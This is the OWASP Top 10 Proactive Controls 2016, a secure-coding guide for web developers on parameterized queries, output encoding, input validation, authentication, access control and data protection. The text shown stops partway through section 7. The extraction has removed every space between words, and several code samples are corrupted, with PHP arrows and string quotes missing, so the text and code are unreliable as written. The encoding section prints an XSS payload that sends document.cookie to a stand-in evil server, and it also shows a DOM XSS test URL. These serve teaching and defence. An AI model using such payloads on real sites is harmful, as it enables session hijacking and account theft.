Beruflich Dokumente
Kultur Dokumente
10CriticalSecurityAreasThatWebDevelopersMustBeAwareOf
AboutOWASP
TheOpenWebApplicationSecurityProject(OWASP)isa501c3nonforprofiteducational
charitydedicatedtoenablingorganizationstodesign,develop,acquire,operate,andmaintain
securesoftware.AllOWASPtools,documents,forums,andchaptersarefreeandopento
anyoneinterestedinimprovingapplicationsecurity.Wecanbefoundat
www.owasp.org
.
OWASPisanewkindoforganization.Ourfreedomfromcommercialpressuresallowsusto
provideunbiased,practical,costeffectiveinformationaboutapplicationsecurity.OWASPisnot
affiliatedwithanytechnologycompany.Similartomanyopensourcesoftwareprojects,OWASP
producesmanytypesofmaterialsinacollaborativeandopenway.TheOWASPFoundationis
anotforprofitentitythatensurestheproject'slongtermsuccess.
Introduction
Insecuresoftwareisunderminingourfinancial,healthcare,defense,energy,andothercritical
infrastructureworldwide.Asourdigital,globalinfrastructuregetsincreasinglycomplexand
interconnected,thedifficultyofachievingapplicationsecurityincreasesexponentially.Wecan
nolongeraffordtotoleraterelativelysimplesecurityproblems.
Thegoalofthe
OWASPTop10ProactiveControls
projectistoraiseawarenessabout
applicationsecuritybydescribingthemostimportantareasofconcernthatsoftwaredevelopers
mustbeawareof.Weencourageyoutousethe
OWASPProactiveControls
togetyour
developersstartedwithapplicationsecurity.Developerscanlearnfromthemistakesofother
organizations.Wehopethatthe
OWASPProactiveControls
isusefultoyoureffortsinbuilding
securesoftware.PleasedonthesitatetocontacttheOWASPProactiveControlprojectwith
yourquestions,comments,andideas,eitherpubliclyto
ouremaillist
orprivatelyto
jim@owasp.org
.
License
Copyright2016TheOWASPFoundation.ThisdocumentisreleasedundertheCreative
CommonsAttributionShareAlike3.0license.Foranyreuseordistribution,youmustmakeit
cleartoothersthelicensetermsofthiswork.
ProjectLeaders
KatyAnton
JimBird
JimManico
Contributors
CassioGoldschmidt
EyalEstrin(HebrewTranslation)
CyrilleGrandval(FrenchTranslation)
FrdricBaillon(FrenchTranslation)
DannyHarris
Anymanymore.
StephendeVries
AndrewVanDerStock
GazHeyes
ColinWatson
JasonColeman
TheOWASPTopTenProactiveControls2016isalistofsecurityconceptsthatshouldbe
includedineverysoftwaredevelopmentproject.Theyareorderedbyorderofimportance,with
controlnumber1beingthemostimportant.
1. VerifyforSecurityEarlyandOften
2. ParameterizeQueries
3. EncodeData
4. ValidateAllInputs
5. ImplementIdentityandAuthenticationControls
6. ImplementAppropriateAccessControls
7. ProtectData
8. ImplementLoggingandIntrusionDetection
9. LeverageSecurityFrameworksandLibraries
10. ErrorandExceptionHandling
1:VerifyforSecurityEarlyandOften
ControlDescription
Inmanyorganizationssecuritytestingisdoneoutsideofdevelopmenttestingloops,followinga
scanthenfixapproach.Thesecurityteamrunsascanningtoolorconductsapentest,triages
theresults,andthenpresentsthedevelopmentteamalistofvulnerabilitiestobefixed.Thisis
oftenreferredtoas"thehamsterwheelofpain".Thereisabetterway.
Securitytestingneedstobeanintegralpartofadeveloperssoftwareengineeringpractice.Just
asyoucanttestqualityin,youcanttestsecurityinbydoingsecuritytestingattheendofa
project.Youneedtoverifysecurityearlyandoften,whetherthroughmanualtestingor
automatedtestsandscans.
Includesecuritywhilewritingtestingstoriesandtasks.IncludetheProactiveControlsinstubs
anddrivers.Securitytestingstoriesshouldbedefinedsuchthatthelowestchildstorycanbe
implementedandacceptedinasingleiterationtestingaProactiveControlmustbelightweight.
ConsiderOWASPASVSasaguidetodefinesecurityrequirementsandtesting.
Considermaintainingasoundstorytemplate,Asa<usertype>Iwant<function>sothat
<benefit>.Considerdataprotectionsearly.Includesecurityupfrontwhenthe
definitionofdone
isdefined.
Stretchingfixesoutovermultiplesprintscanbeavoidedifthesecurityteammakestheeffortto
convertscanningoutputintoreusableProactiveControlstoavoidentireclassesof
problems
.Otherwise,approachtheoutputofsecurityscansasanepoch,addressingthe
resultsovermorethanonesprint.Havespikestodoresearchandconvertfindingsintodefects,
writethedefectsinProactiveControlterms,andhaveQ&Asessionswiththesecurityteam
ensuringtestingtasksactuallyverifytheProactiveControlfixedthedefect.
Takeadvantageofagilepracticeslike
TestDrivenDevelopment,
ContinuousIntegration
and
relentlesstesting
.Thesepracticesmakedevelopersresponsiblefortestingtheirownwork,
throughfast,automatedfeedbackloops.
VulnerabilitiesPrevented
AllOWASPTop10
References
OWASPTestingGuide:
https://www.owasp.org/index.php/OWASP_Testing_Project
OWASPASVS:
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_
Standard_Project
Tools
OWASPZAP
OWASPWebTestingEnvironmentProject
OWASP_OWTF
BDDSecurityOpenSourceTestingFramework
GauntltSecurityTestingOpenSourceFramework
Training
OWASPSecurityShepherd
OWASPMutillidae2Project
2:ParameterizeQueries
ControlDescription
SQLInjectionisoneofthemostdangerouswebapplicationrisks.SQLInjectioniseasyto
exploitwithmanyopensourceautomatedattacktoolsavailable.SQLinjectioncanalsodeliver
animpacttoyourapplicationthatisdevastating.
ThesimpleinsertionofmaliciousSQLcodeintoyourwebapplicationandtheentiredatabase
couldpotentiallybestolen,wiped,ormodified.Thewebapplicationcanevenbeusedtorun
dangerousoperatingsystemcommandsagainsttheoperatingsystemhostingyourdatabase.
ThemainconcernwithSQLinjectionisthefact,thattheSQLqueryanditsparametersare
containedinonequerystring.
InordertomitigateSQLinjection,untrustedinputshouldbepreventedfrombeinginterpretedas
partofaSQLcommand.
Thebestwaytodothisiswiththeprogrammingtechniqueknownas
QueryParameterization.Inthiscase,theSQLstatementsaresenttoandparsedbythe
databaseserverseparatelyfromanyparameters.
Manydevelopmentframeworks(Rails,Django,Node.js,etc.)employanobjectrelationalmodel
(ORM)toabstractcommunicationwithadatabase.ManyORMsprovideautomaticquery
parameterizationwhenusingprogrammaticmethodstoretrieveandmodifydata,butdevelopers
shouldstillbecautiouswhenallowinguserinputintoobjectqueries(OQL/HQL)orother
advancedqueriessupportedbytheframework.
ProperdefenseindepthagainstSQLinjectionincludestheuseoftechnologiessuchas
automatedstaticanalysisandproperdatabasemanagementsystemconfiguration.Ifpossible,
databaseenginesshouldbeconfiguredtoonlysupportparameterizedqueries.
JavaExamples
HereisanexampleofqueryparameterizationinJava:
StringnewName=request.getParameter("newName")
intid=Integer.parseInt(request.getParameter("id"))
PreparedStatementpstmt=con.prepareStatement("UPDATEEMPLOYEESSET
NAME=?WHEREID=?")
pstmt.setString(1,newName)
pstmt.setInt(2,id)
PHPExamples
HereisanexampleofqueryparameterizationinPHPusingPDO:
$stmt=$dbh>prepare(updateuserssetemail=:new_emailwhere
id=:user_id)
$stmt>bindParam(':new_email',$email)
$stmt>bindParam(':user_id',$id)
PythonExamples
HereisanexampleofqueryparameterizationinPython:
email=REQUEST[email]
id=REQUEST[id]
cur.execute(updateuserssetemail=:new_emailwhereid=:user_id,
{"new_email":email,"user_id":id})
.NETExamples
HereisanexampleofQueryParameterizationinC#.NET:
stringsql="SELECT*FROMCustomersWHERECustomerId=
@CustomerId"
SqlCommandcommand=newSqlCommand(sql)
command.Parameters.Add(newSqlParameter("@CustomerId",
System.Data.SqlDbType.Int))
command.Parameters["@CustomerId"].Value=1
VulnerabilitiesPrevented
OWASPTop102013A1Injection
OWASPMobileTop102014M1WeakServerSideControls
References
OWASPQueryParameterizationCheatSheet
OWASPSQLInjectionCheatSheet
OWASPQuickReferenceGuide
3:EncodeData
ControlDescription
Encodingisapowerfulmechanismtohelpprotectagainstmanytypesofattack,especially
injectionattacks.Essentially,encodinginvolvestranslatingspecialcharactersintosome
equivalentformthatisnolongerdangerousinthetargetinterpreter.Encodingisneededtostop
variousformsofinjectionincludingcommandinjection(Unixcommandencoding,Windows
commandencoding),LDAPinjection(LDAPencoding)andXMLinjection(XMLencoding).
Anotherexampleofencodingisoutputencodingwhichisnecessarytopreventcrosssite
scripting(HTMLentityencoding,JavaScripthexencoding,etc).
WebDevelopment
Webdevelopersoftenbuildwebpagesdynamically,consistingofamixofstatic,developerbuilt
HTML/JavaScriptanddatathatwasoriginallypopulatedwithuserinputorsomeotheruntrusted
source.Thisinputshouldbeconsideredtobeuntrusteddataanddangerous,whichrequires
specialhandlingwhenbuildingasecurewebapplication.CrossSiteScripting(XSS)occurs
whenanattackertricksyourusersintoexecutingmaliciousscriptthatwasnotoriginallybuilt
intoyourwebsite.XSSattacksexecuteintheuser'sbrowserandcanhaveawidevarietyof
effects.
Examples
XSSsitedefacement:
<script>document.body.innerHTML("Jimwashere")</script>
XSSsessiontheft:
<script>
varimg=newImage()
img.src="http://<someevilserver>.com?"+document.cookie
</script>
TypesofXSS
TherearethreemainclassesofXSS:
Persistent
Reflected
DOMbased
PersistentXSS(orStoredXSS)occurswhenanXSSattackcanbeembeddedinawebsite
databaseorfilesystem.ThisflavorofXSSismoredangerousbecauseuserswilltypically
alreadybeloggedintothesitewhentheattackisexecuted,andasingleinjectionattackcan
affectmanydifferentusers.
ReflectedXSSoccurswhentheattackerplacesanXSSpayloadaspartofaURLandtricksa
victimintovisitingthatURL.WhenavictimvisitsthisURL,theXSSattackislaunched.Thistype
ofXSSislessdangeroussinceitrequiresadegreeofinteractionbetweentheattackerandthe
victim.
DOMbasedXSSisanXSSattackthatoccursinDOM,ratherthaninHTMLcode.Thatis,the
pageitselfdoesnotchange,buttheclientsidecodecontainedinthepageexecutesdifferently
duetothemaliciousmodificationsthathaveoccurredintheDOMenvironment.Itcanonlybe
observedonruntimeorbyinvestigatingtheDOMofthepage.
Forexample,thesourcecodeofpage
http://www.example.com/test.html
containsthefollowing
code:
<script>
document.write("<b>CurrentURL<b>:"+document.baseURI)
</script>
ADOMBasedXSSattackagainstthispagecanbeaccomplishedbysendingthefollowing
URL:
http://www.example.com/test.html#<script>alert(1)</script>
Whenlookingatthesourceofthepage,youcannotsee<script>alert(1)</script>becauseitsall
happeningintheDOMandisdonebytheexecutedJavaScriptcode.
ContextualoutputencodingisacrucialprogrammingtechniqueneededtostopXSS.Thisis
performedonoutput,whenyourebuildingauserinterface,atthelastmomentbeforeuntrusted
dataisdynamicallyaddedtoHTML.ThetypeofencodingrequiredwilldependontheHTML
contextofwheretheuntrusteddataisadded,forexampleinanattributevalue,orinthemain
HTMLbody,oreveninaJavaScriptcodeblock.
TheencodingfunctionsrequiredtostopXSSincludeHTMLEntityEncoding,JavaScript
EncodingandPercentEncoding(akaURLEncoding).OWASP'sJavaEncoderProjectprovides
encodersforthesefunctionsinJava.In.NET4.5,theAntiXssEncoderClassprovidesCSS,
HTML,URL,JavaScriptStringandXMLencodersotherencodersforLDAPandVBScriptare
includedintheopensourceAntiXSSlibrary.Everyotherweblanguagehassomekindof
encodinglibraryorsupport.
MobileDevelopment
Inmobileapplication,theWebViewenablesandroid/iOSapplicationtorenderHTML/JavaScript
content,andusesthesamecoreframeworksasnativebrowsers(SafariandChrome).Inlike
mannerasaWebapplication,XSScanoccurinaniOS/Androidapplicationwhen
HTML/JavascriptcontentisloadedintoaWebViewwithoutsanitization/encoding.
Consequently,awebviewcanbeusedbyamaliciousthirdpartyapplicationtoperform
clientsideinjectionattacks(example:takingaphoto,accessinggeolocationandsending
SMS/EMails).Thiscouldleadtopersonalinformationleakageandfinancialdamage.
SomebestpracticestoprotectamobileappfromCrossSiteScriptingattacksdependingonthe
contextofusingWebView:
1) Manipulatingusergeneratedcontent:ensurethatdataisfilteredand/orencodedwhen
presentingitintheWebView.
2) Loadingcontentfromanexternalsource:appsthatneedtodisplayuntrustedcontent
insideaWebViewshoulduseadedicatedserver/hosttorenderandescape
HTML/Javascriptcontentinasafeway.Thispreventsaccesstolocalsystemcontents
bymaliciousJavascriptcode.
JavaExamples
ForexamplesoftheOWASPJavaEncoderprotectingagainstCrosssitescripting,see:
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder
_Project
PHPExamples
ZendFramework2
InZendframework2,Zend\Escapercanbeusedforescapingdatathatistobeoutput.
ExampleofphpcodeinZF2:
<?php
$input='<script>alert("zf2")</script>'
$escaper=newZend\Escaper\Escaper('utf8')
//somewhereinanHTMLtemplate
<divclass="userprovidedinput">
<?phpecho$escaper>escapeHtml($input)?>
</div>
VulnerabilitiesPrevented
OWASPTop102013A1Injection
OWASPTop102013A3CrossSite_Scripting_(XSS)
OWASPMobile_Top_10_2014M7
ClientSideInjection
References
GeneralInformationAboutInjection:
OWASPTop102013A1Injection
GeneralInformationAbout
XSS
XSSFilterEvasionAttacks:
OWASPXSSFilterEvasionCheatSheet
StoppingXSSinyourwebapplication:
OWASPXSS(CrossSiteScripting)Prevention
CheatSheet
StoppingDOMXSSinWebApplication:
OWASPDOMbasedXSSPreventionCheat
Sheet
UsingMicrosoftAntiXSSlibraryasthedefaultencoderinASP.NET.
http://haacked.com/archive/2010/04/06/usingantixssasthedefaultencoderforaspnet.
aspx/
TheMicrosoftAntiXSSLibraryhelpsyouprotectyourapplicationsfromCrossSite
Scriptingattacks,primarilythroughencodingfunctions.
https://msdn.microsoft.com/enus/security/aa973814.aspx
Tools
OWASPJavaEncoderProject
4:ValidateAllInputs
ControlDescription
Anydatawhichisdirectlyenteredby,orinfluencedby,usersshouldbetreatedasuntrusted.
Anapplicationshouldcheckthatthisdataisbothsyntacticallyandsemanticallyvalid(inthat
order)beforeusingitinanyway(includingdisplayingitbacktotheuser).Additionally,themost
secureapplicationstreat
allvariablesasuntrusted
andprovidesecuritycontrolsregardlessof
thesourceofthatdata.
Syntaxvaliditymeansthatthedataisintheformthatisexpected.Forexample,anapplication
mayallowausertoselectafourdigitaccountIDtoperformsomekindofoperation.The
applicationshouldassumetheuserisenteringaSQLinjectionpayload,andshouldcheckthat
thedataenteredbytheuserisexactlyfourdigitsinlength,andconsistsonlyofnumbers(in
additiontoutilizingproperqueryparameterization).
Semanticvaliditymeansthatthedataismeaningful:Intheaboveexample,theapplication
shouldassumethattheuserismaliciouslyenteringanaccountIDtheuserisnotpermittedto
access.Theapplicationshouldthencheckthattheuserhaspermissiontoaccesssaidaccount
ID.
Inputvalidationmustbewhollyserverside:clientsidecontrolsmaybeusedforconvenience.
Forexample,JavaScriptvalidationmayalerttheuserthataparticularfieldmustconsistof
numbers,buttheservermustvalidatethatthefieldactuallydoesconsistofnumbers.
Background
Alargemajorityofwebapplicationvulnerabilitiesarisefromfailingtocorrectlyvalidateinput,or
notcompletelyvalidatinginput.Thisinputisnotnecessarilydirectlyenteredbyusersusinga
UI.Inthecontextofwebapplications(andwebservices),thiscouldinclude,butisnotlimitedto:
HTTPheaders
Cookies
GETandPOSTparameters(includinghiddenfields)
Fileuploads(includinginformationsuchasthefilename)
Similarly,inmobileapplications,thiscaninclude:
Interprocesscommunication(IPCforexample,AndroidIntents)
Dataretrievedfrombackendwebservices
Dataretrievedfromthedevicefilesystem
BlacklistingvsWhitelisting
Therearetwogeneralapproachestoperforminginputsyntaxvalidation,commonlyknownas
blacklistingandwhitelisting:
Blacklistingattemptstocheckthatagivenuserinputdoesnotcontainknowntobe
maliciouscontent.Thisissimilartohowanantivirusprogramwilloperate:asafirstline
ofdefence,anantiviruschecksifafileexactlymatchesknownmaliciouscontent,andif
itdoes,itwillrejectit.Thistendstobetheweakersecuritystrategy.
Whitelistingattemptstocheckthatagivenuserinputmatchesasetofknowngood
inputs.Forexample,awebapplicationmayallowyoutoselectoneofthreecitiesthe
applicationwillthencheckthatoneofthesecitieshasbeenselected,andrejectsall
otherpossibleinput.Characterbasedwhitelistingisaformofwhitelistingwherean
applicationwillcheckthatuserinputcontainsonlyknowngoodcharacters,ormatches
aknownformat.Forexample,thismayinvolvecheckingthatausernamecontainsonly
alphanumericcharacters,andcontainsexactlytwonumbers.
Whenbuildingsecuresoftware,whitelistingisthegenerallypreferredapproach.Blacklistingis
pronetoerrorandcanbebypassedwithvariousevasiontechniques(andneedstobeupdated
withnewsignatureswhennewattacksarecreated).
RegularExpressions
Regularexpressionsofferawaytocheckwhetherdatamatchesaspecificpatternthisisa
greatwaytoimplementwhitelistvalidation.
Whenauserfirstregistersforanaccountonahypotheticalwebapplication,someofthefirst
piecesofdatarequiredareausername,passwordandemailaddress.Ifthisinputcamefroma
malicioususer,theinputcouldcontainattackstrings.Byvalidatingtheuserinputtoensurethat
eachpieceofdatacontainsonlythevalidsetofcharactersandmeetstheexpectationsfordata
length,wecanmakeattackingthiswebapplication
moredifficult
.
Letsstartwiththefollowingregularexpressionfortheusername.
^[az09_]{3,16}$
Thisregularexpression,inputvalidation,whitelistofgoodcharactersonlyallowslowercase
letters,numbersandtheunderscorecharacter.Thesizeoftheusernameisalsobeinglimitedto
316charactersinthisexample.
Hereisanexampleregularexpressionforthepasswordfield.
^(?=.*[az])(?=.*[AZ])(?=.*\d)(?=.*[@#$%]).{10,4000}$
Thisregularexpressionensuresthatapasswordis10to4000charactersinlengthandincludes
auppercaseletter,alowercaseletter,anumberandaspecialcharacter(oneormoreusesof
@,#,$,or%).
Hereisanexampleregularexpressionforanemailaddress(pertheHTML5specification
http://www.w3.org/TR/html5/forms.html#validemailaddress
).
^[azAZ09.!#$%&'*+/=?^_`{|}~]+@[azAZ09]+(?:\.[azAZ09]+)*$
Careshouldbeexercisedwhencreatingregularexpressions.Poorlydesignedexpressionsmay
resultinpotentialdenialofserviceconditions(akaReDDoS).Agoodstaticanalysisorregular
expressiontestertoolcanhelpproductdevelopmentteamstoproactivelyfindinstancesofthis
case.
Therearealsospecialcasesforvalidationwhereregularexpressionsarenotenough.Ifyour
applicationhandlesmarkupuntrustedinputthatissupposedtocontainHTMLitcanbevery
difficulttovalidate.Encodingisalsodifficult,sinceitwouldbreakallthetagsthataresupposed
tobeintheinput.Therefore,youneedalibrarythatcanparseandcleanHTMLformattedtext.i
AregularexpressionisnottherighttooltoparseandsanitizeuntrustedHTML.Pleaseseethe
XSSPreventionCheatSheetonHTMLSanitization
formoreinformation.
PHPExample
Availableasstandardsincev5.2,thePHPfilterextensioncontainsasetofthefunctionsthat
canbeusedtovalidatetheuserinputbutalsotosanitizeitbyremovingtheillegalcharacters.
Theyalsoprovideastandardstrategyforfilteringdata.
Exampleofbothvalidationandsanitization:
<?php
$sanitized_email=filter_var($email,FILTER_SANITIZE_EMAIL)
if(filter_var($sanitized_email,FILTER_VALIDATE_EMAIL)){
echo"Thissanitizedemailaddressisconsideredvalid.\n"
}
Caution:RegularExpressions
Pleasenote,regularexpressionsarejustonewaytoaccomplishvalidation.Regular
expressionscanbedifficulttomaintainorunderstandforsomedevelopers.Othervalidation
alternativesinvolvewritingvalidationmethodswhichexpressestherulesmoreclearly.
Caution:ValidationforSecurity
Inputvalidationdoesnotnecessarilymakeuntrustedinputsafesinceitmaybenecessaryto
acceptpotentiallydangerouscharactersasvalidinput.
Thesecurityoftheapplicationshouldbe
enforcedwherethatinputisused,forexample,ifinputisusedtobuildanHTMLresponse,then
theappropriateHTMLencodingshouldbeperformedtopreventCrossSiteScriptingattacks.
Also,ifinputisusedtobuildaSQLstatement,QueryParameterizationshouldbeused.Inboth
ofthese(andother)cases,inputvalidationshouldNOTbereliedonforsecurity!
VulnerabilitiesPrevented
OWASPTop102013A1Injection
(inpart)
OWASPTop102013A3CrossSite_Scripting_(XSS)
(inpart)
OWASPTop102013A10Unvalidated_Redirects_and_Forwards
OWASPMobileTop102014M8SecurityDecisionsViaUntrustedInputs
(inpart)
References
OWASPInputValidationCheatSheet
OWASPTestingforInputValidation
OWASPiOSCheatSheetSecurityDecisionsviaUntrustedInputs
Tools
OWASPJSONSanitizerProject
OWASPJavaHTMLSanitizerProject
5:ImplementIdentityandAuthenticationControls
ControlDescription
Authenticationistheprocessofverifyingthatanindividualoranentityiswhoitclaimstobe.
AuthenticationiscommonlyperformedbysubmittingausernameorIDandoneormoreitems
ofprivateinformationthatonlyagivenusershouldknow.
SessionManagementisaprocessbywhichaservermaintainsthestateofanentityinteracting
withit.Thisisrequiredforaservertorememberhowtoreacttosubsequentrequests
throughoutatransaction.Sessionsaremaintainedontheserverbyasessionidentifierwhich
canbepassedbackandforthbetweentheclientandserverwhentransmittingandreceiving
requests.Sessionsshouldbeuniqueperuserandcomputationallyimpossibletopredict.
IdentityManagementisabroadertopicthatnotonlyincludesauthenticationandsession
management,butalsocoversadvancedtopicslikeidentityfederation,singlesignon,
passwordmanagementtools,delegation,identityrepositoriesandmore.
Belowaresomerecommendationforsecureimplementation,andwithcodeexamplesforeach
ofthem.
UseMultiFactorAuthentication
Multifactorauthentication(MFA)ensuresthatusersarewhotheyclaimtobebyrequiringthem
toidentifythemselveswithacombinationof:
SomethingtheyknowpasswordorPIN
Somethingtheyowntokenorphone
Somethingtheyarebiometrics,suchasafingerprint
Pleasesee
AuthenticationCheatSheet
forfurtherdetails.
MobileApplication:TokenBasedAuthentication
Whenbuildingmobileapplications,it'srecommendedtoavoidstoring/persistingauthentication
credentialslocallyonthedevice.Instead,performinitialauthenticationusingtheusernameand
passwordsuppliedbytheuser,andthengenerateashortlivedaccesstokenwhichcanbe
usedtoauthenticateaclientrequestwithoutsendingtheuser'scredentials.
ImplementSecurePasswordStorage
Inordertoprovidestrongauthenticationcontrols,anapplicationmustsecurelystoreuser
credentials.Furthermore,cryptographiccontrolsshouldbeinplacesuchthatifacredential(e.g.
apassword)iscompromised,theattackerdoesnotimmediatelyhaveaccesstothisinformation.
Pleasesee
PasswordStorageCheatSheet
forfurtherdetails.
ImplementSecurePasswordRecoveryMechanism
Itiscommonforanapplicationtohaveamechanismforausertogainaccesstotheiraccount
intheeventtheyforgettheirpassword.Agooddesignworkflowforapasswordrecoveryfeature
willusemultifactorauthenticationelements(forexampleasksecurityquestionsomething
theyknow,andthensendageneratedtokentoadevicesomethingtheyown).
Pleasesee
ForgotPasswordCheatSheet
and
ChoosingandUsingSecurityQuestions
Cheat_Sheet
forfurtherdetails.
Session:GenerationandExpiration
Onanysuccessfulauthenticationandreauthenticationthesoftwareshouldgenerateanew
sessionandsessionid.
Inordertominimizethetimeperiodanattackercanlaunchattacksoveractivesessionsand
hijackthem,itismandatorytosetexpirationtimeoutsforeverysession,afteraspecifiedperiod
ofinactivity.Thelengthoftimeoutshouldbeinverselyproportionalwiththevalueofthedata
protected.
Pleasesee
SessionManagementCheatSheet
furtherdetails.
RequireReauthenticationforSensitiveFeatures
Forsensitivetransactions,likechangingpasswordorchangingtheshippingaddressfora
purchase,itisimportanttorequiretheusertoreauthenticateandiffeasible,togenerateanew
sessionIDuponsuccessfulauthentication.
PHPExampleforPasswordHash
BelowisanexampleforpasswordhashinginPHPusingpassword_hash()function(available
since5.5.0)whichdefaultstousingthebcryptalgorithm.Theexampleusesaworkfactorof15.
<?php
$cost=15
$password_hash=password_hash("secret_password",PASSWORD_DEFAULT,
["cost"=>$cost])
?>
Conclusion
Authenticationandidentityareverybigtopics.We'rescratchingthesurfacehere.Ensurethat
yourmostseniorengineeringtalentisresponsibleforyourauthenticationsolution.
VulnerabilitiesPrevented
OWASPTop102013A2Broken_Authentication_and_Session_Management
OWASPMobileTop102014M5PoorAuthorizationandAuthentication
References
OWASPAuthenticationCheatSheet
OWASPPasswordStorageCheatSheet
OWASPForgotPasswordCheatSheet
OWASPChoosingandUsingSecurityQuestionsCheat_Sheet
OWASPSessionManagementCheatSheet
OWASPTestingGuide4.0:TestingforAuthentication
OWASPIOSDeveloperCheatSheet
6:ImplementAccessControls
ControlDescription
Authorization(AccessControl)istheprocesswhererequeststoaccessaparticularfeatureor
resourceshouldbegrantedordenied.Itshouldbenotedthatauthorizationisnotequivalentto
authentication(verifyingidentity).Thesetermsandtheirdefinitionsarefrequentlyconfused.
AccessControldesignmaystartsimple,butcanoftengrowintoarathercomplexand
designheavysecuritycontrol.Thefollowing"positive"accesscontroldesignrequirements
shouldbeconsideredattheinitialstagesofapplicationdevelopment.Onceyouhavechosena
specificaccesscontroldesignpattern,itisoftendifficultandtimeconsumingtoreengineer
accesscontrolinyourapplicationwithanewpattern.AccessControlisoneofthemainareasof
applicationsecuritydesignthatmustbeheavilythoughtthroughupfront,especiallywhen
addressingrequirementslikemultitenancyandhorizontal(dataspecific)accesscontrol..
ForceAllRequeststogoThroughAccessControlChecks
Mostframeworksandlanguagesonlycheckafeatureforaccesscontrolifaprogrammeradds
thatcheck.Theinverseisamoresecuritycentricdesign,whereallaccessisfirstverified.
Considerusingafilterorotherautomaticmechanismtoensurethatallrequestsgothrough
somekindofaccesscontrolcheck.
DenybyDefault
Inlinewithautomaticaccesscontrolchecking,considerdenyingallaccesscontrolchecksfor
featuresthathavenotbeenconfiguredforaccesscontrol.Normallytheoppositeistrueinthat
newlycreatedfeaturesautomaticallygrantusersfullaccessuntiladeveloperhasaddedthat
check.
PrincipleofLeastPrivilege
Whendesigningaccesscontrols,eachuserorsystemcomponentshouldbeallocatedthe
minimumprivilegerequiredtoperformanactionfortheminimumamountoftime.
AvoidHardCodedAccessControlChecks
Veryoften,accesscontrolpolicyishardcodeddeepinapplicationcode.Thismakesauditingor
provingthesecurityofthatsoftwareverydifficultandtimeconsuming.Accesscontrolpolicyand
applicationcode,whenpossible,shouldbeseparated.Anotherwayofsayingthisisthatyour
enforcementlayer(checksincode)andyouraccesscontroldecisionmakingprocess(the
accesscontrol"engine")shouldbeseparatedwhenpossible.
CodetotheActivity
Mostwebframeworksuserolebasedaccesscontrolastheprimarymethodforcoding
enforcementpointsincode.Whileit'sacceptabletouserolesinaccesscontrolmechanisms,
codingspecificallytotheroleinapplicationcodeisanantipattern.Considercheckingiftheuser
hasaccesstothatfeatureincode,asopposedtocheckingwhatroletheuserisincode.Sucha
checkshouldtakeintocontextthespecificdata/userrelationship.Forexample,ausermaybe
abletogenerallymodifyprojectsgiventheirrole,butaccesstoagivenprojectshouldalsobe
checkedifbusiness/securityrulesdictateexplicitpermissionstodoso.
Soinsteadofhardcodingrolecheckallthroughoutyourcodebase:
if(user.hasRole("ADMIN))||(user.hasRole("MANAGER")){
deleteAccount()
}
Pleaseconsiderthefollowinginstead:
if(user.hasAccess("DELETE_ACCOUNT")){
deleteAccount()
}
ServerSideTrustedDataShouldDriveAccessControl
Thevastmajorityofdatayouneedtomakeanaccesscontroldecision(whoistheuserandare
theyloggedin,whatentitlementsdoestheuserhave,whatistheaccesscontrolpolicy,what
featureanddataisbeingrequested,whattimeisit,whatgeolocationisit,etc)shouldbe
retrieved"serverside"inastandardweborwebserviceapplication.Policydatasuchasa
user'sroleoranaccesscontrolruleshouldneverbepartoftherequest.Inastandardweb
application,theonlyclientsidedatathatisneededforaccesscontrolistheidoridsofthedata
beingaccessed.Mostallotherdataneededtomakeanaccesscontroldecisionshouldbe
retrievedserverside.
JavaExamples
Asdiscussedbefore,itsrecommendedtoseparateyouraccesscontrolpolicydefinitionfrom
thebusiness/logicallayer(applicationcode).Thiscanbeachievedbyusingacentralized
securitymanagerwhichallowsflexibleandcustomizableaccesscontrolpolicywithinyour
application.Forexample,
ApacheShiro
APIprovidesasimple
INIbasedconfigurationfile
that
canbeusedtodefineyouraccesscontrolpolicyinamodular/pluggableway.ApacheShiroalso
hastheabilitytointeractwithanyotherJavaBeanscompatibleframeworks(Spring,Guice,
JBoss,etc).Aspectsalsoprovideagoodmethodforseparatingyouraccesscontrolfromyour
applicationcode,whileprovidinganauditableimplementation.
VulnerabilitiesPrevented
OWASPTop102013A4InsecureDirectObjectReferences
OWASPTop102013A7MissingFunctionLevelAccessControl
OWASPMobileTop102014M5PoorAuthorizationandAuthentication
References
OWASPAccessControlCheatSheet
OWASPTestingGuideforAuthorization
OWASPiOSDeveloperCheatSheetPoorAuthorizationandAuthentication
7:ProtectData
ControlDescription
EncryptingdatainTransit
Whentransmittingsensitivedata,atanytierofyourapplicationornetworkarchitecture,
encryptionintransitofsomekindshouldbeconsidered.TLSisbyfarthemostcommonand
widelysupportedmodelusedbywebapplicationsforencryptionintransit.Despitepublished
weaknessesinspecificimplementations(e.g.Heartbleed),itisstillthedefactoand
recommendedmethodforimplementingtransportlayerencryption..
EncryptingdataatRest
Cryptographicstorageisdifficulttobuildsecurely.It'scriticaltoclassifydatainyoursystemand
determinethatdataneedstobeencrypted,suchastheneedtoencryptcreditcardsperthe
PCIDSScompliancestandard.Also,anytimeyoustartbuildingyourownlowlevel
cryptographicfunctionsonyourown,ensureyouareorhavetheassistanceofadeepapplied
expert.Insteadofbuildingcryptographicfunctionsfromscratch,itisstronglyrecommendedthat
peerreviewedandopenlibrariesbeusedinstead,suchastheGoogleKeyCzarproject,Bouncy
CastleandthefunctionsincludedinSDKs.Also,bepreparedtohandlethemoredifficult
aspectsofappliedcryptosuchaskeymanagement,overallcryptographicarchitecturedesign
aswellastieringandtrustissuesincomplexsoftware.
Acommonweaknessinencryptingdataatrestisusinganinadequatekey,orstoringthekey
alongwiththeencrypteddata(thecryptographicequivalentofleavingakeyunderthedoormat).
Keysshouldbetreatedassecretsandonlyexistonthedeviceinatransientstate,e.g.entered
bytheusersothatthedatacanbedecrypted,andthenerasedfrommemory.Otheralternatives
includetheuseofspecializedcryptohardwaresuchasa
HardwareSecurityModule
(HSM)for
keymanagementandcryptographicprocessisolation.
ImplementProtectioninTransit
Makesurethatconfidentialorsensitivedataisnotexposedbyaccidentduringprocessing.It
maybemoreaccessibleinmemoryoritcouldbewrittentotemporarystoragelocationsorlog
files,whereitcouldbereadbyanattacker.
MobileApplication:SecureLocalStorage
Inthecontextofmobiledevices,whichareregularlylostorstolen,securelocaldatastorage
requirespropertechniques.Whenanapplicationdoesnotimplementproperlythestorage
mechanisms,itmayleadtoseriousinformationleakage(example:authenticationcredentials,
accesstoken,etc.).Whenmanagingcriticallysensitivedata,thebestpathistoneversavethat
dataonamobiledevice,evenusingknownmethodssuchasaiOSkeychain.
VulnerabilitiesPrevented
OWASPTop102013A6Sensitive_Data_Exposure
